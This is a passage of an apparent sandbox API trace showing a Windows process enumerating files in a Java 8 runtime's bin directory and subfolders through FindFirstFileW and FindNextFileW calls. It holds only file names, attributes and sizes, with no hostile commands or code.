ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="JAWTAccessBridge-64.dll", cAlternateFileName="JAWTAC~1.DLL")) returned 1 [0215.179] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x31440, dwReserved0=0x0, dwReserved1=0x0, cFileName="jdwp.dll", cAlternateFileName="")) returned 1 [0215.179] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x6840, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.dll", cAlternateFileName="")) returned 1 [0215.179] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x22240, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxmedia.dll", cAlternateFileName="")) returned 1 [0215.180] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7511d3f, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7511d3f, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa75aa64d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2794a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxwebkit.dll", cAlternateFileName="JFXWEB~1.DLL")) returned 1 [0215.180] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa75aa64d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jjs.exe", cAlternateFileName="")) returned 1 [0215.180] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa75aa64d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2aa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jli.dll", cAlternateFileName="")) returned 1 [0215.180] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa897bfc2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x48440, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2iexp.dll", cAlternateFileName="")) returned 1 [0215.180] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa897bfc2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa897bfc2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89a2223, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1b640, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2launcher.exe", cAlternateFileName="JP2LAU~1.EXE")) returned 1 [0215.180] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89a2223, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89a2223, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89a2223, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2native.dll", cAlternateFileName="JP2NAT~1.DLL")) returned 1 [0215.180] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89a2223, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89a2223, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89a2223, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39840, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2ssv.dll", cAlternateFileName="")) returned 1 [0215.180] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89a2223, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89a2223, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2d640, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpeg.dll", cAlternateFileName="")) returned 1 [0215.180] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4840, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdt.dll", cAlternateFileName="")) returned 1 [0215.180] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsound.dll", cAlternateFileName="")) returned 1 [0215.181] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsoundds.dll", cAlternateFileName="")) returned 1 [0215.181] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x35e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="kcms.dll", cAlternateFileName="")) returned 1 [0215.181] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="keytool.exe", cAlternateFileName="")) returned 1 [0215.181] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="kinit.exe", cAlternateFileName="")) returned 1 [0215.181] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="klist.exe", cAlternateFileName="")) returned 1 [0215.181] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="ktab.exe", cAlternateFileName="")) returned 1 [0215.181] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39040, dwReserved0=0x0, dwReserved1=0x0, cFileName="lcms.dll", cAlternateFileName="")) returned 1 [0215.181] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x9040, dwReserved0=0x0, dwReserved1=0x0, cFileName="management.dll", cAlternateFileName="MANAGE~1.DLL")) returned 1 [0215.181] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x9fa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="mlib_image.dll", cAlternateFileName="MLIB_I~1.DLL")) returned 1 [0215.182] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa12a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1 [0215.182] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xca750, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1 [0215.182] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xeb2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1 [0215.182] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="net.dll", cAlternateFileName="")) returned 1 [0215.182] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xec40, dwReserved0=0x0, dwReserved1=0x0, cFileName="nio.dll", cAlternateFileName="")) returned 1 [0215.182] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="npt.dll", cAlternateFileName="")) returned 1 [0215.182] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="orbd.exe", cAlternateFileName="")) returned 1 [0215.182] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="pack200.exe", cAlternateFileName="")) returned 1 [0215.182] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2a2bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin2", cAlternateFileName="")) returned 1 [0215.182] GetProcessHeap () returned 0xc10000 [0215.182] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0215.183] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2a2bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4968 [0215.184] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2a2bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.184] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xca750, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1 [0215.184] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39440, dwReserved0=0x0, dwReserved1=0x0, cFileName="npjp2.dll", cAlternateFileName="")) returned 1 [0215.184] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39440, dwReserved0=0x0, dwReserved1=0x0, cFileName="npjp2.dll", cAlternateFileName="")) returned 0 [0215.184] FindClose (in: hFindFile=0x33e4968 | out: hFindFile=0x33e4968) returned 1 [0215.184] GetProcessHeap () returned 0xc10000 [0215.184] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0215.184] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="policytool.exe", cAlternateFileName="POLICY~1.EXE")) returned 1 [0215.184] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe040, dwReserved0=0x0, dwReserved1=0x0, cFileName="prism_common.dll", cAlternateFileName="PRISM_~1.DLL")) returned 1 [0215.184] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1fe40, dwReserved0=0x0, dwReserved1=0x0, cFileName="prism_d3d.dll", cAlternateFileName="PRISM_~2.DLL")) returned 1 [0215.185] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="prism_sw.dll", cAlternateFileName="")) returned 1 [0215.185] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.dll", cAlternateFileName="")) returned 1 [0215.185] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="rmid.exe", cAlternateFileName="")) returned 1 [0215.186] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8af971e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="rmiregistry.exe", cAlternateFileName="RMIREG~1.EXE")) returned 1 [0215.186] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8af971e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2b6c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xab35b530, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="server", cAlternateFileName="")) returned 1 [0215.186] GetProcessHeap () returned 0xc10000 [0215.186] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0215.186] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8af971e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2b6c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, 